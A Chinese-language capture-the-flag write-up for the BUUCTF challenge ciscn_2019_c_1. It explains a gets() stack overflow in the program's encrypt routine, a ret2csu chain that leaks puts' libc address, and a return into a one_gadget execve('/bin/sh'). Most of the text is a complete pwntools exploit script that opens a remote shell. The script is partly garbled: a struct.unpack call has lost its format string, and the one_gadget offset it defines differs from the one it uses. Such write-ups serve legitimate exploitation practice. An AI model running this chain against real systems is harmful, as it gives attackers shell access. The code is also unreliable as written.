BUUCTF ciscn_2019_c_1 write up

分析:
程序的逻辑比较简单,漏洞点在encrypt 函数中的gets函数中
在encrypt函数中由gets函数输入数据,随后程序对输入的数据进行加密
1.如果是小写字母跟0xD异或
2.如果是大写字母跟0xE异或
3.如果是数字跟0xF异或

在这个循环中会破坏我们设置好的数据,但是可以通过两次异或运算又转换为我们设置好的数据

二进制文件中没有出现getshell和system之类的函数,所以要通过泄露libc地址来调用system或execve函数

麻烦的是这是64位程序,参数不放在栈上,而是放在寄存器中,所以可以利用loc_400C60 和 loc_400C76 两处的代码布置参数 和调用我们想调用的函数

要注意的是call指令 会进行寻址,所以r12 + rbx*8 不能直接为函数的地址,要设置为指向函数的指针
BUUCTF ciscn_2019_c_1 write up_第1张图片
具体步骤:
1.先调用puts 泄露puts函数的地址,然后得到libc的基址
2.利用one_gadget工具得到execve的libc地址,再加上libc基址得到execve("/bin/sh“, rsp+0x50, environ)的地址
BUUCTF ciscn_2019_c_1 write up_第2张图片
3.再次进行溢出用execve的地址覆盖ret的地址从而获得shell
EXP:

from pwn import *
import struct

context(os="linux", arch="amd64", log_level="debug")

debug = 1
d = 0

if debug == 0:
    p = process("./cc_1")
    if d == 1:
        context.terminal = ['tmux', 'splitw', '-h']
        gdb.attach(proc.pidof(p)[0], gdbscript="b main")
else:
    p = remote("pwn.buuoj.cn", 20115)

elf = ELF("./cc_1")
libc = ELF("x64_libc.so.6")

def Encrypt(content):
    p.sendline("1")
    p.recvuntil("Input your Plaintext to be encrypted")
    p.sendline(content)

def Exit():
    p.sendline("3")

start = 0x400790
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
encrypt = 0x4009A0
loc_c60 = 0x400C60
loc_c7A = 0x400C7A

offset = 0x50

payload = 'a'*(offset + 8) + p64(loc_c7A)
#           rbx,    rbp,    r12,              r13,      r14,   r15
payload += p64(0) + p64(1) + p64(got_puts) + p64(0) + p64(0) + p64(got_puts) + p64(loc_c60)
payload += p64(0) + p64(0)*6 + p64(encrypt)


def exchange(payload):  #对payload进行异或运算
    new_payload = list(payload)
    for i in range(len(payload)):
        c = ord(payload[i])
        if c <= 96 or c > 122:
            if c <=64 or c > 90:
                if c > 47 and c <= 57:
                    c ^=0xf
                    new_payload[i] = chr(c)
                    print "i-> " + str(i)
                else:
                    new_payload[i] = chr(c)
                    print "i-> " + str(i)
            else:
                c ^= 0xe
                new_payload[i] = chr(c)
                print "i-> " + str(i)
        else:
            c ^= 0xd
            new_payload[i] = chr(c)
            print "i-> " + str(i)
    return new_payload

print("payload-> " + str(len(payload)))

payload = ''.join(exchange(payload))
print("payload-> " + payload)

Encrypt(payload)

p.recvline()
p.recvline()
p.recvline()
leak = p.recvuntil('\n')[:-1]
leak += "\x00\x00"    #"Q"只能对8字节数据进行解包,所以进行填充
print("len-> " + str(len(leak)))
print("leak-> " + leak)
leak = struct.unpack(", leak)[0]
print leak
print hex(leak)

binaddr = elf.bss() + 0x100
got_gets = elf.got['gets']
x_addr = 0x6020AC
one_gadget = 0xf02a4
libc_base = leak - libc.symbols['puts']
print("libc_base-> " + hex(libc_base))

execve = libc_base + 0x4526a
print("execve-> " + hex(execve))

payload = 'a'*(offset + 8) + p64(execve)
print("payload-> " + payload)

p.recvuntil("Input your Plaintext to be encrypted")
p.sendline(payload)

p.interactive()

这个EXP有的时候打不到,可能因为有的时候one_gadget的约束条件没有达成

结果:
BUUCTF ciscn_2019_c_1 write up_第3张图片

你可能感兴趣的:(PWN)